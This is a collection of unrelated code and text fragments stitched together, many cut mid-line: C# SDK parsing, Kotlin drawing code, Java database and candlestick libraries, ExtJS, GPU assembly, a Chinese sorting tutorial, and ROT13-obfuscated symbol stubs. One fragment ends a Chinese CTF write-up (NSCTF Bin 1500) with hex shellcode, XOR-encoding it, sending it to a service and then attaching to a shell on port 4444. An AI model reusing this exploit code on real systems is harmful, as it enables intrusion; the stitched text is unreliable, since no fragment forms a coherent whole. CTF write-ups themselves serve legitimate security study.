cIcCheckup.Code");
			getOcIcCheckupResponse.Success = _ctx.BooleanValue("GetOcIcCheckup.Success");
			getOcIcCheckupResponse.Message = _ctx.StringValue("GetOcIcCheckup.Message");
			getOcIcCheckupResponse.TotalNum = _ctx.IntegerValue("GetOcIcCheckup.TotalNum");
			getOcIcCheckupResponse.PageIndex = _ctx.IntegerValue("GetOcIcCheckup.PageIndex");
			getOcIcCheckupResponse.PageNum = _ctx.IntegerValue("GetOcIcCheckup.PageNum");
			getOcIcCheckupResponse.RequestId = _ctx.StringValue("GetOcIcCheckup.RequestId");

			List<GetOcIcCheckupResponse.GetOcIcCheckup_DataItem> getOcIcCheckupResponse_data = new List<GetOcIcCheckupResponse.GetOcIcCheckup_DataItem>();
			for (int i = 0; i < _ctx.Length("GetOcIcCheckup.Data.Length"); i++) {
				GetOcIcCheckupResponse.GetOcIcCheckup_DataItem dataItem = new GetOcIcCheckupResponse.GetOcIcCheckup_DataItem();
				dataItem.Department = _ctx.StringValue("GetOcIcCheckup.Data["+ i +"].Department");
				dataItem.Date = _ctx.StringValue("GetOcIcCheckup.Data["+ i +"].Date");
				dataItem.Type = _ctx.StringValue("GetOcIcCheckup.Data["+ i +"].Type");
				dataItem.Result = _ctx.StringValue("GetOcIcCheckup.Data["+ i +"].Result");

				getOcIcCheckupResponse_data.Add(dataItem);
			}
			getOcIcCheckupResponse.Data = getOcIcCheckupResponse_data;

			return getOcIcCheckupResponse;
        }
    }
}


ubicTo(59.3117F, 21.594F, 27.7852F, 53.1206F, 14.7196F, 93.3323F)
                close()
            },
            color = Color(0xff8EADC1)
        )

        drawPath(
            path = Path().apply {
                moveTo(16.5107F, 183.681F)
                cubicTo(16.5107F, 137.584F, 16.5107F, 114.536F, 22.5714F, 95.8834F)
                cubicTo(34.8204F, 58.1849F, 64.3765F, 28.6287F, 102.075F, 16.3798F)
                cubicTo(120.728F, 10.3191F, 143.776F, 10.3191F, 189.872F, 10.3191F)
                lineTo(683.128F, 10.3191F)
                cubicTo(729.224F, 10.3191F, 752.272F, 10.3191F, 770.925F, 16.3798F)
                cubicTo(808.624F, 28.6287F, 838.18F, 58.1849F, 850.429F, 95.8834F)
                cubicTo(856.49F, 114.536F, 856.49F, 137.584F, 856.49F, 183.681F)
                lineTo(856.49F, 1587.09F)
                cubicTo(856.49F, 1633.18F, 856.49F, 1656.23F, 850.429F, 1674.88F)
                cubicTo(838.18F, 1712.58F, 808.624F, 1742.14F, 770.925F, 1754.39F)
                cubicTo(752.272F, 1760.45F, 729.224F, 1760.45F, 683.128F, 1760.45F)
                lineTo(189.872F, 1760.45F)
                cubicTo(143.776F, 1760.45F, 120.728F, 1760.45F, 102.075F, 1754.39F)
                cubicTo(64.3765F, 1742.14F, 34.8204F, 1712.58F, 22.5714F, 1674.88F)
                cubicTo(16.5107F, 1656.23F, 16.5107F, 1633.18F, 16.5107F, 1587.09F)
                lineTo(16.5107F, 183.681F)
                close()
            },
            color = Color(0xff121515)
        )

        drawRectFromRect(
            RectFactory.LTWH(
                left = size.width * 0.7825063F,
                top = 0F,
                width = size.width * 0.01418442F,
                height = size.height * 0.005826708F
            ),
            color = Color(0xff36454C)
        )

        drawRectFromRect(
            RectFactory.LTWH(
                left = size.width * 0.9810871F,
                top = size.height * 0.1002196F,
                width = size.width * 0.01182027F,
                height = size.height * 0.006992095F
            ),
            color = Color(0xff36454C)
        )

        drawRectFromRect(
            RectFactory.LTWH(
                left = size.width * 0.007092108F,
                top = size.height * 0.1002196F,
                width =


ributes) as R.Nil|R.PairList;
        result.body = copy(val.body) as R.Language;
        break;
    }
    return result;
}
// import startServer from "../startServer"
// import mongoose from 'mongoose';
// import { Phone } from "../models/Phone";
// import { v4 as uuidv4 } from 'uuid';

// beforeAll(async () => {
//   process.env.TEST_SERVER = 'true';
// })

// interface TsPhone {
//     _id: {type: String, default: null},
//     Name: String,
//     Image: String,
//     Description: String,
//     DateCreated: Number,
//     Seller: String,
//     Category: String,
//     Brand: String,
//     Price: Number,
//     Status: String
// }

// let testPhone: TsPhone = {
//   _id: null,
//   Name: "Test Phone",
//   Image: "",
//   Description: "The Description of the testing phone",
//   DateCreated: Date.now(),
//   Seller: "Admin",
//   Category: "Testing",
//   Brand: "Test",
//   Price: 100,
//   Status: "Running"
// }

// describe("Testing Phones", () => {
//   test("Adding Phone and finding it", async () => {
//       const phone = new Phone(testPhone);
//       await phone.save();
//       testPhone = phone as any;

//       const found = await Phone.find({_id: phone._id});

//       expect(found).toBeTruthy();
//   })

//   test("Removing Added Phone", async () => {
//     await Phone.remove({_id: testPhone._id});

//     const found = await Phone.find({_id: testPhone._id});

//     expect(found).not.toBe(testPhone);

//   })
// })import { Comparable } from "./compare";

class Thing implements Comparable {
  private _name: string;
  private completed: boolean;

  constructor(_name: string) {
    this._name = _name;
    this.completed = false;
  }

  public complete() {
    this.completed = true;
    return this;
  }

  name() {
    return this._name;
  }

  isCompleted() {
    return this.completed;
  }

  compareTo(thing: Thing): number {
    if (this.completed > thing.completed) {
      return -1;
    } else if (this.completed < thing.completed) {
      return 1;
    } else {
      return 0;
    }
  }
}

export { Thing };
/* eslint-disable no-multi-assign */
import type { InputTheme } from '@themes/types';

type ValidateStatus = 'info' | 'success' | 'warning' | 'error';

// TODO other size
const sizes = {
	md: {
		px: '8px',
		py: '10px',
		height: '40px',
		_text: {
			fontSize: 'md'
		}
	}
};

const pickPadding = (size: keyof typeof sizes) => ({ px: sizes[size].px, py: sizes[size].py });

// TODO px to space

const baseStyle = (props: Record<string, any>) => {
	const validateStatus = props.validateStatus as ValidateStatus;
	const size = props.size as keyof typeof sizes;

	const padding = size in sizes ? pickPadding(size) : {};

	let borderColor: string;
	let defaultBorderColor: string;
	switch (validateStatus) {
		case 'info':
			borderColor = defaultBorderColor = 'Info';
			break;
		case 'success':
			borderColor = defaultBorderColor = 'Success';
			break;
		case 'warning':
			borderColor = defaultBorderColor = 'Warning';
			break;
		case 'error':
			borderColor = defaultBorderColor = 'Error';
			break;
		default:
			borderColor = 'Primary';
			defaultBorderColor = 'Border';
			break;
	}

	const styles = {
		...


"

payload += "\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24"

payload += "\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56"

payload += "\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e"

payload += "\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"

payload += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"

payload += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"

payload += "\x53\xff\xd5"

# xor encode payload

payload = xor(table, payload, cut="right")

conn.sendline("ENCRYPT {}{}".format(p16(len(payload)), payload))

# close the connection

conn.close()

# interact with shell

conn = remote(HOST, 4444)

log.success("enjoy :)")

conn.interactive(prompt="")

conn.close()

[/code]

图 3

小 tip：这题做题是只要求弹出计算器，所以没必要构造完整的 ROP，利用程序自带的开新进程就可以达到题目要求。

【原文：NSCTF Bin 1500 作者：chu   安全脉搏整理发布】

【安全脉搏：分享技术、悦享品质。文章仅代表作者看法，如有不同观点，欢迎添加安全脉搏微信号：SecPulse，进行交流。】

Tags: ASLRAsPackchuDepESP定律FuzzIDA<a href="https://www.secpulse.com/a


CALL(b__MAX7naqebvq13FgevatCbbyErs8fgevat16RCz)
CALL(b__MAFg3__112onfvp_fgevatVpAF_11pune_genvgfVpRRAF_9nyybpngbeVpRRR6nccraqRCXp)
CALL(b__MA7naqebvq4hgvy11Hgs16GbHgs8REXAF_16OnfvpFgevatCvrprVQfRR)
CALL(b_vasyngrRaq)
CALL(b__MA7naqebvq20FgernzvatMvcVasyngre13ernqArkgPuhaxRi)
CALL(b_vasyngrVavg2_)
CALL(b_vasyngr)
CALL(b_hgs16_gb_hgs8)
CALL(b_hgs16_gb_hgs8_yratgu)
.weak b__MAFg3__16irpgbeVAF_12onfvp_fgevatVpAF_11pune_genvgfVpRRAF_9nyybpngbeVpRRRRAF4_VF6_RRR24__rzcynpr_onpx_fybj_cnguVWF6_RRRiQcBG_
CALL(b__MAFg3__16irpgbeVAF_12onfvp_fgevatVpAF_11pune_genvgfVpRRAF_9nyybpngbeVpRRRRAF4_VF6_RRR24__rzcynpr_onpx_fybj_cnguVWF6_RRRiQcBG_)
CALL(b__M12PybfrNepuvirC10MvcNepuvir)
CALL(b__M4ArkgCiC8MvcRagelCAFg3__117onfvp_fgevat_ivrjVpAF2_11pune_genvgfVpRRRR)
CALL(b__M15RkgenpgGbZrzbelC10MvcNepuvirC8MvcRagelCuw)
CALL(b__M18RkgenpgRagelGbSvyrC10MvcNepuvirC8MvcRagelv)
CALL(b__MA11mvc_nepuvir7VasyngrREXAF_6ErnqreRwwCAF_6JevgreRCz)
CALL(b__MA11mvc_nepuvir6JevgreQ2Ri)
CALL(b__MA11mvc_nepuvir6ErnqreQ2Ri)
CALL(getc)
CALL(feof)
CALL(ferror)
CALL(b__MA7naqebvq4onfr17ErnqShyylNgBssfrgRAF0_11obeebjrq_sqRCizy)
CALL(b__MA7naqebvq16OnpxhcQngnErnqre12fxvc_cnqqvatRi)
CALL(b__MA7naqebvq7Fgevat810ybpxOhssreRz)
CALL(b__MA7naqebvq7Fgevat812haybpxOhssreRz)
CALL(b_pep32)
CALL(b__MA7naqebvq16OnpxhcQngnJevgre17JevgrRagvglUrnqreREXAF_7Fgevat8Rz)
CALL(b__MA7naqebvq16OnpxhcQngnJevgre15JevgrRagvglQngnRCXiz)
CALL(b__MA7naqebvq16OnpxhcQngnErnqre16ErnqRagvglUrnqreRCAF_7Fgevat8RCz)
CALL(b__MA7naqebvq16OnpxhcQngnErnqre14ErnqRagvglQngnRCiz)
CALL(open)
CALL(munmap)
CALL(b_nfuzrz_perngr_ertvba)
CALL(b_nfuzrz_frg_cebg_ertvba)


020766C4 ; case 0
	b _020765D8 ; case 1
	b _020765A4 ; case 2
	b _020765CC ; case 3
	b _0207657C ; case 4
	b _02076614 ; case 5
	b _02076598 ; case 6
	b _020765C0 ; case 7
	b _02076560 ; case 8
	b _0207662C ; case 9
	b _02076644 ; case 10
	b _020765E8 ; case 11
	b _02076570 ; case 12
	b _02076608 ; case 13
	b _0207658C ; case 14
	b _020765B4 ; case 15
	b _02076674 ; case 16
	b _020766C4 ; case 17
	b _020766C4 ; case 18
	b _020766C4 ; case 19
	b _020766C4 ; case 20
	b _020766C4 ; case 21
	b _020766C4 ; case 22
	b _020766C4 ; case 23
	b _020766C4 ; case 24
	b _020766C4 ; case 25
	b _020766C4 ; case 26
	b _020766C4 ; case 27
	b _020766C4 ; case 28
	b _020766C4 ; case 29
	b _020766C4 ; case 30
	b _020766C4 ; case 31
	b _020766A8 ; case 32
_02076530:
	cmp r0, #0x30
	beq _02076668
	b _020766C4
_0207653C:
	cmp r0, #0x60
	bgt _02076554
	bge _0207669C
	cmp r0, #0x50
	beq _02076684
	b _020766C4
_02076554:
	cmp r0, #0x70
	beq _0207665C
	b _020766C4
_02076560:
	ldr r0, _020766D8 ; =0x04000243
	mov r1, #0x81
	strb r1, [r0]
	b _020766C4
_02076570:
	ldr r0, _020766D8 ; =0x04000243
	mov r1, #0x89
	strb r1, [r0]
_0207657C:
	ldr r0, _020766DC ; =0x04000242
	mov r1, #0x81
	strb r1, [r0]
	b _020766C4
_0207658C:
	ldr r0, _020766D8 ; =0x04000243
	mov r1, #0x91
	strb r1, [r0]
_02076598:
	ldr r0, _020766DC ; =0x04000242
	mov r1, #0x89
	strb r1, [r0]
_020765A4:
	ldr r0, _020766E0 ; =0x04000241
	mov r1, #0x81
	strb r1, [r0]
	b _020766C4
_020765B4:
	ldr r0, _020766D8 ; =0x04000243
	mov r1, #0x99
	strb r1, [r0]
_020765C0:
	ldr r0, _020766DC ; =0x04000242
	mov r1, #0x91
	strb r1, [r0]
_020765CC:
	ldr r0, _020766E0 ; =0x04000241
	mov r1, #0x89
	strb r1, [r0]
_0


}
/*
 *
 *                         _ _        ____  ____
 *               _____   _(_) |_ __ _|  _ \| __ )
 *              / _ \ \ / / | __/ _` | | | |  _ \
 *             |  __/\ V /| | || (_| | |_| | |_) |
 *              \___| \_/ |_|\__\__,_|____/|____/
 *
 *   Copyright (c) 2024-2025
 *
 *   Licensed under the Business Source License, Version 1.1 (the "License");
 *   you may not use this file except in compliance with the License.
 *   You may obtain a copy of the License at
 *
 *   https://github.com/FgForrest/evitaDB/blob/master/LICENSE
 *
 *   Unless required by applicable law or agreed to in writing, software
 *   distributed under the License is distributed on an "AS IS" BASIS,
 *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *   See the License for the specific language governing permissions and
 *   limitations under the License.
 */

package io.evitadb.index.mutation.index.dataAccess;

import io.evitadb.api.requestResponse.data.Droppable;
import io.evitadb.api.requestResponse.data.ReferenceContract;
import io.evitadb.api.requestResponse.data.mutation.reference.ReferenceKey;
import io.evitadb.store.entity.model.entity.ReferencesStoragePart;
import lombok.RequiredArgsConstructor;

import javax.annotation.Nonnull;
import java.util.Arrays;
import java.util.stream.Stream;

/**
 * ReferencesStoragePartSupplier is responsible for providing access to references held in {@link ReferencesStoragePart}
 * data structure for purpose of indexing.
 *
 * @author Jan Novotný (novotny@fg.cz), FG Forrest a.s. (c) 2024
 */
@RequiredArgsConstructor
public class ReferencesStoragePartSupplier implements ReferenceSupplier {
	private final ReferencesStoragePart referencesStoragePart;

	@Nonnull
	@Override
	public Stream<ReferenceKey> getReferenceKeys() {
		return Arrays.stream(this.referencesStoragePart.getReferences())
			.filter(Droppable::exists)
			.map(ReferenceContract::getReferenceKey);
	}

}
/*
 *
 *                         _ _        ____  ____
 *               _____   _(_) |_ __ _|  _ \| __ )
 *              / _ \ \ / / | __/ _` | | | |  _ \
 *             |  __/\ V /| | || (_| | |_| | |_) |
 *              \___| \_/ |_|\__\__,_|____/|____/
 *
 *   Copyright (c) 2024-2025
 *
 *   Licensed under the Business Source License, Version 1.1 (the "License");
 *   you may not use this file except in compliance with the License.
 *   You may obtain a copy of the License at
 *
 *   https://github.com/FgForrest/evitaDB/blob/master/LICENSE
 *
 *   Unless required by applicable law or agreed to in writing, software
 *   distributed under the License is distributed on an "AS IS" BASIS,
 *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *   See the License for the specific language governing permissions and
 *   limitations under the License.
 */

package io.evitadb.index.mutation.index.dataAccess;

import io.evitadb.api.requestResponse.data.structure.RepresentativeReferenceKey;
import io.evitadb.api.requestResponse.schema.dto.EntitySchema;
import io.evitadb.store.spi.model.storageParts.accessor.WritableEntityStorageContainerAccessor;
import io.evitadb.utils.CollectionUtils;
import lombok.RequiredArgsConstructor;

import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import java.util.Map;
import java.util.Objects;

/**
 * This implementation provides access to memoized instances of {@link EntityStoragePartAccessorAttributeValueSupplier} and
 * {@link ReferenceEntityStoragePartAccessorAttributeValueSupplier} instances that retrieve informations from
 * appropriate storage parts fetched from {@link WritableEntityStorageContainerAccessor}.
 *
 * @author Jan Novotný (novotny@fg.cz), FG Forrest a.s. (c) 2024
 */
@RequiredArgsConstructor
public final class EntityStorag


8.967 15.504c.963 1.667-.24 3.752-2.165 3.752H3.034c-1.926 0-3.128-2.085-2.165-3.752Zm3.03.751a1.002 1.002 0 0 0-1.732 0L2.168 19.499A1.002 1.002 0 0 0 3.034 21h17.932a1.002 1.002 0 0 0 .866-1.5L12.866 3.994Z"}))}}}),h=c("AlertFillIcon","octicon octicon-alert-fill",function(){return{12:{width:12,path:n.createElement("path",{d:"M4.855.708c.5-.896 1.79-.896 2.29 0l4.675 8.351a1.312 1.312 0 0 1-1.146 1.954H1.33A1.313 1.313 0 0 1 .183 9.058ZM7 7V3H5v4Zm-1 3a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z"})},16:{width:16,path:n.createElement("path",{d:"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575ZM8 5a.75.75 0 0 0-.75.75v2.5a.75.75 0 0 0 1.5 0v-2.5A.75.75 0 0 0 8 5Zm1 6a1 1 0 1 0-2 0 1 1 0 0 0 2 0Z"})},24:{width:24,path:n.createElement("path",{d:"M9.836 3.244c.963-1.665 3.365-1.665 4.328 0l8.967 15.504c.963 1.667-.24 3.752-2.165 3.752H3.034c-1.926 0-3.128-2.085-2.165-3.752ZM12 8.5a.75.75 0 0 0-.75.75v4.5a.75.75 0 0 0 1.5 0v-4.5A.75.75 0 0 0 12 8.5Zm1 9a1 1 0 1 0-2 0 1 1 0 0 0 2 0Z"})}}}),u=c("AppsIcon","octicon octicon-apps",function(){return{16:{width:16,path:n.createElement("path",{d:"M1.5 3.25c0-.966.784-1.75 1.75-1.75h2.5c.966 0 1.75.784 1.75 1.75v2.5A1.75 1.75 0 0 1 5.75 7.5h-2.5A1.75 1.75 0 0 1 1.5 5.75Zm7 0c0-.966.784-1.75 1.75-1.75h2.5c.966 0 1.75.784 1.75 1.75v2.5a1.75 1.75 0 0 1-1.75 1.75h-2.5A1.75 1.75 0 0 1 8.5 5.75Zm-7 7c0-.966.784-1.75 1.75-1.75h2.5c.966 0 1.75.784 1.75 1.75v2.5a1.75 1.75 0 0 1-1.75 1.75h-2.5a1.75 1.75 0 0 1-1.75-1.75Zm7 0c0-.966.784-1.75 1.75-1.75h2.5c.966 0 1.75.784 1.75 1.75v2.5a1.75 1.75 0 0 1-1.75 1.75h-2.5a1.75 1.75 0 0 1-1.75-1.75ZM3.25 3a.25.25 0 0 0-.25.25v2.5c0 .138


ilingIdx-1] >= inOpen[EqualTrailingIdx-1] ? inClose[EqualTrailingIdx-1] : inOpen[EqualTrailingIdx-1] ) ) + ( ( inClose[EqualTrailingIdx-1] >= inOpen[EqualTrailingIdx-1] ? inOpen[EqualTrailingIdx-1] : inClose[EqualTrailingIdx-1] ) - inLow[EqualTrailingIdx-1] ) : 0 ) ) ) ;
         BodyLongPeriodTotal += ( (this.candleSettings[CandleSettingType.BodyLong.ordinal()].rangeType) == RangeType.RealBody ? ( Math.abs ( inClose[i-1] - inOpen[i-1] ) ) : ( (this.candleSettings[CandleSettingType.BodyLong.ordinal()].rangeType) == RangeType.HighLow ? ( inHigh[i-1] - inLow[i-1] ) : ( (this.candleSettings[CandleSettingType.BodyLong.ordinal()].rangeType) == RangeType.Shadows ? ( inHigh[i-1] - ( inClose[i-1] >= inOpen[i-1] ? inClose[i-1] : inOpen[i-1] ) ) + ( ( inClose[i-1] >= inOpen[i-1] ? inOpen[i-1] : inClose[i-1] ) - inLow[i-1] ) : 0 ) ) )
            - ( (this.candleSettings[CandleSettingType.BodyLong.ordinal()].rangeType) == RangeType.RealBody ? ( Math.abs ( inClose[BodyLongTrailingIdx-1] - inOpen[BodyLongTrailingIdx-1] ) ) : ( (this.candleSettings[CandleSettingType.BodyLong.ordinal()].rangeType) == RangeType.HighLow ? ( inHigh[BodyLongTrailingIdx-1] - inLow[BodyLongTrailingIdx-1] ) : ( (this.candleSettings[CandleSettingType.BodyLong.ordinal()].rangeType) == RangeType.Shadows ? ( inHigh[BodyLongTrailingIdx-1] - ( inClose[BodyLongTrailingIdx-1] >= inOpen[BodyLongTrailingIdx-1] ? inClose[BodyLongTrailingIdx-1] : inOpen[BodyLongTrailingIdx-1] ) ) + ( ( inClose[BodyLongTrailingIdx-1] >= inOpen[BodyLongTrailingIdx-1] ? inOpen[BodyLongTrailingIdx-1] : inClose[BodyLongTrailingIdx-1] ) - inLow[BodyLongTrailingIdx-1] ) : 0 ) ) ) ;
         i++;
         EqualTrailingIdx++;
         BodyLongTrailingIdx++;
      } while( i <= endIdx );
      outNBElement.value = outIdx;
      outBegIdx.value = startIdx;
      return RetCode.Success ;
   }
   /* Generated */
   public int cdlTristarLookback( )
   {
      return (this.candleSettings[CandleSettingType.BodyDoji.ordinal()].avgPeriod) + 2;
   }
   public RetCode cdlTristar( int startIdx,
      int endIdx,
      double inOpen[],
      double inHigh[],
      double inLow[],
      double inClose[],
      MInteger outBegIdx,
      MInteger outNBElement,
      int outInteger[] )
   {
      double BodyPeriodTotal;
      int i, outIdx, BodyTrailingIdx, lookbackTotal;
      if( startIdx < 0 )
         return RetCode.OutOfRangeStartIndex ;
      if( (endIdx < 0) || (endIdx < startIdx))
         return RetCode.OutOfRangeEndIndex ;
      lookbackTotal = cdlTristarLookback ();
      if( startIdx < lookbackTotal )
         startIdx = lookbackTotal;
      if( startIdx > endIdx )
      {
         outBegIdx.value = 0 ;


(array)

    gap = n / 2 # 初始步长

    while gap > 0:

        for i in range(gap, n):# 每一列进行插入排序 , 从gap 到 n-1

            position = i

            val = array[i]

            while position > 0 and array[position - 1] > val:

                array[position] = array[position - 1]

                position -= 1

            array[position] = val

        gap = gap / 2 # 重新设置步长

    return array

上面源码的步长的选择是从n/2开始，每次再减半，直至为0。步长的选择直接决定了希尔排序的复杂度

Merge Sort 归并排序

归并排序是采用分治法的一个非常典型的应用。归并排序的思想就是先递归分解数组，解决子集的排序问题，再合并两个有序数组。由于基本的逻辑思维结构是二叉树，也叫二路归并排序。

先考虑合并两个有序数组，基本思路是比较两个数组的最前面的数，谁小就先取谁，取了后相应的指针就往后移一位。然后再比较，直至一个数组为空，最后把另一个数组的剩余部分复制过来即可。

再考虑递归分解，基本思路是将数组分解成 left 和 right，如果这两个数组内部数据是有序的，那么就可以用上面合并数组的方法将这两个数组合并排序。如何让这两个数组内部是有序的？可以再二分，直至分解出的小组只含有一个元素时为止，此时认为该小组内部已有序。然后合并排序相邻二个小组即可。

外部稳定排序。时间复杂度 $O(nlog(n))$，空间复杂度 $O(n)$。堆排序和快速排序的复杂度也都是 $O(nlog(n))$，但它们是不稳定的。在排序算法中，时间复杂度是 $O(nlog(n))$ 的排序算法只有归并排序。

基本款

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41
<d


 {
            scannerSwitch.setChecked(false);
        }
    }

    /**
     * Dynamically resize the last scan text view to fit the content.
     * Called when a new data is received, or on orientation change.
     */
    private void resizeScannerLastText(TextView text) {
        if (text == null) {
            return;
        }
        // Set the last scan text
        text.setSingleLine(false);

        text.post(() -> {
            float textSizeInSp = text.getTextSize() / getResources().getDisplayMetrics().scaledDensity;
            float minTextSizeInSp = getResources().getDimension(com.enioka.scanner.R.dimen.min_text_size_last_scan) / getResources().getDisplayMetrics().scaledDensity;

            // Activate marquee effect if the text size is the minimum size
            if (textSizeInSp == minTextSizeInSp) {
                text.setSingleLine(true);
                text.setSelected(true);
            }
        });
    }

    ////////////////////////////////////////////////////////////////////////////////////////////////
    // Screen orientation
    ////////////////////////////////////////////////////////////////////////////////////////////////

    @Override
    public void onConfigurationChanged(@NonNull Configuration newConfig) {
        super.onConfigurationChanged(newConfig);

        boolean switchCamera = enableScan && goToCamera && hasPermissionSet(this, PERMISSIONS_CAMERA) && hasCameraScannerSdk;
        int orientation = getResources().getConfiguration().orientation;
        View view = findViewById(flashlightViewId).getRootView();

        if (switchCamera) {
            Integer cameraViewId = cameraResources.get("camera_view_id");

            if (cameraViewId != null && cameraScannerProvider != null) {
                cameraScannerProvider.orientationChanged(findViewById(cameraViewId));
            }

            ViewSwitcher.switchCameraOrientation(this, view, cameraResources, orientation == Configuration.ORIENTATION_PORTRAIT);
        } else {
            ViewSwitcher.switchLaserOrientation(this, view, flashlightViewId, orientation == Configuration.ORIENTATION_PORTRAIT);
        }

        resizeScannerLastText((TextView) findViewById(com.enioka.scanner.R.id.scannerTextLastScan));
    }
}
package com.enioka.scanner.sdk.zebra.dw;

public class ZebraDwIntents {
    static final String DW_MAIN_CALLBACK_ACTION = "com.dw.ACT";
    static final String DW_CONFIGURATION_CALLBACK_ACTION = "com.symbol.datawedge.api.RESULT_ACTION";
    static final String DW_STATUS_CALLBACK_ACTION = "com.symbol.datawedge.scanner_status";
    static final String DW_API_MAIN_ACTION = "com.symbol.datawedge.api.ACTION";
    static final String DW_NOTIFICATION_ACTION = "com.symbol.datawedge.api.NOTIFICATION_ACTION";

    static final String DW_BARCODE_DATA_EXTRA = "com.symbol.datawedge.data_string";
    static final String DW_BARCODE_TYPE_EXTRA = "com.symbol.datawedge.label_type";
    static final String DW_API_PARAM_EXTRA = "com.symbol.datawedge.api.SWITCH_SCANNER_PARAMS";
    static final String DW_API_CMD_ID_EXTRA = "COMMAND_IDENTIFIER";
    static final String DW_API_GET_STATUS_EXTRA = "com.symbol.datawedge.api.GET_SCANNER_STATUS";
    static final String DW_NOTIFICATION_EXTRA = "com.symbol.datawedge.api.NOTIFICATION";
    static final String DW_NOTIFICATION_TYPE_EXTRA = "NOTIFICATION_TY


* @return {Ext.KeyMap} The KeyMap created
     */
    addKeyListener : function(key, fn, scope){
        var config;
        if(!Ext.isObject(key) || Ext.isArray(key)){
            config = {
                key: key,
                fn: fn,
                scope: scope
            };
        }else{
            config = {
                key : key.key,
                shift : key.shift,
                ctrl : key.ctrl,
                alt : key.alt,
                fn: fn,
                scope: scope
            };
        }
        return new Ext.KeyMap(this, config);
    },

    /**
     * Creates a KeyMap for this element
     * @param {Object} config The KeyMap config. See {@link Ext.KeyMap} for more details
     * @return {Ext.KeyMap} The KeyMap created
     */
    addKeyMap : function(config){
        return new Ext.KeyMap(this, config);
    }
});(function(){
    // contants
    var NULL = null,
        UNDEFINED = undefined,
        TRUE = true,
        FALSE = false,
        SETX = "setX",
        SETY = "setY",
        SETXY = "setXY",
        LEFT = "left",
        BOTTOM = "bottom",
        TOP = "top",
        RIGHT = "right",
        HEIGHT = "height",
        WIDTH = "width",
        POINTS = "points",
        HIDDEN = "hidden",
        ABSOLUTE = "absolute",
        VISIBLE = "visible",
        MOTION = "motion",
        POSITION = "position",
        EASEOUT = "easeOut",
        /*
         * Use a light flyweight here since we are using so many callbacks and are always assured a DOM element
         */
        flyEl = new Ext.Element.Flyweight(),
        queues = {},
        getObject = function(o){
            return o || {};
        },
        fly = function(dom){
            flyEl.dom = dom;
            flyEl.id = Ext.id(dom);
            return flyEl;
        },
        /*
         * Queueing now stored outside of the element due to closure issues
         */
        getQueue = function(id){
            if(!queues[id]){
                queues[id] = [];
            }
            return queues[id];
        },
        setQueue = function(id, value){
            queues[id] = value;
        };

//Notifies Element that fx methods are available
Ext.enableFx = TRUE;

/**
 * @class Ext.Fx
 *
A class to provide basic animation and visual effects support.  Note: This class is automatically applied
 * to the {@link Ext.Element} interface when included, so all effects calls should be performed via {@link Ext.Element}.
 * Conversely, since the effects are not actually defined in {@link Ext.Element}, Ext.Fx must be
 * {@link Ext#enableFx included} in order for the Element effects to work.

 *
 *
Method Chaining

 *
It is important to note that although the Fx methods and many non-Fx Element methods support "method chaining" in that
 * they return the Element object itself as the method return value, it is not always possible to mix the two in a single
 * method chain.  The Fx methods use an internal effects queue so that each effect can be properly timed and sequenced.
 * Non-Fx methods, on the other hand, have no such internal queueing and will always execute immediately.  For this reason,
 * while it may be possible to mix certain Fx and non-Fx method calls in a single chain, it may not always provide the
 * expected results and should be done with care.  Also see <tt>{@link #callback}</tt>.

 *
 *
Anchor Options for Motion Effects

 *
Motion effects supp


A + 4x<66>];
--:-:3:-:1  @P3 LDG.E.CI loadA7, [trackA + 4x<67>];

--:-:-:-:1 @!P0 MOV loadA4, RZ;
--:-:-:-:1 @!P1 MOV loadA5, RZ;
--:-:-:-:1 @!P2 MOV loadA6, RZ;
--:-:-:-:1 @!P3 MOV loadA7, RZ;

--:-:-:-:1      IADD y1, txb, 1;
--:-:-:-:1      IADD y2, txb, 2;
--:-:-:-:1      IADD y3, txb, 3;
--:-:-:-:1      ISETP.LT.AND P0, PT, tidY, k, P6;
--:-:-:-:1      ISETP.LT.AND P1, PT, y1, param_n, P0;
--:-:-:-:1      ISETP.LT.AND P2, PT, y2, param_n, P0;
--:-:-:-:1      ISETP.LT.AND P3, PT, y3, param_n, P0;

--:-:4:-:1  @P0 LDG.E.CI loadB0, [trackB + 4x<0>];
--:-:4:-:1  @P1 LDG.E.CI loadB1, [trackB + 4x<1>];
--:-:4:-:1  @P2 LDG.E.CI loadB2, [trackB + 4x<2>];
--:-:4:-:1  @P3 LDG.E.CI loadB3, [trackB + 4x<3>];

--:-:-:-:1 @!P0 MOV loadB0, RZ;
--:-:-:-:1 @!P1 MOV loadB1, RZ;
--:-:-:-:1 @!P2 MOV loadB2, RZ;
--:-:-:-:1 @!P3 MOV loadB3, RZ;

    };

</SCHEDULE_BLOCK>

12:-:-:-:1      STS.128 [writeAs + 4x< 0>], loadA0;
04:-:-:-:1      STS.128 [writeAs + 4x<64>], loadA4;

--:-:-:-:6      IADD   trackA0.CC, trackA0, param_lda8;
--:-:-:-:0      IADD.X trackA1,    trackA1, RZ;

28:-:-:-:1      STS.128 [writeBs], loadB0;

--:-:-:-:6      IADD   trackB0.CC, trackB0, param_ldb8;
--:-:-:-:1      IADD.X trackB1,    trackB1, RZ;

--:-:-:-:1      IADD readBs,  readBs, -swapBuf;
--:-:-:-:0      IADD readAs,  readAs, -swapBuf;
--:-:-:-:5      BAR.SYNC 0;
--:-:-:-:1      IADD writeBs, writeBs, swapBuf;
--:-:-:-:1      IADD writeAs, writeAs, swapBuf;
--:-:-:-:1      IADD swapBuf, RZ, -swapBuf;

    our $vec;
    return $vec ? q{
--:-:-:-:0      ISETP.GT.AND P1, PT, k, 8, P1;
    } : q{
--:-:-:-:0      ISETP.GT.AND P1, PT, k, 8, PT;
    };

    our $vec;
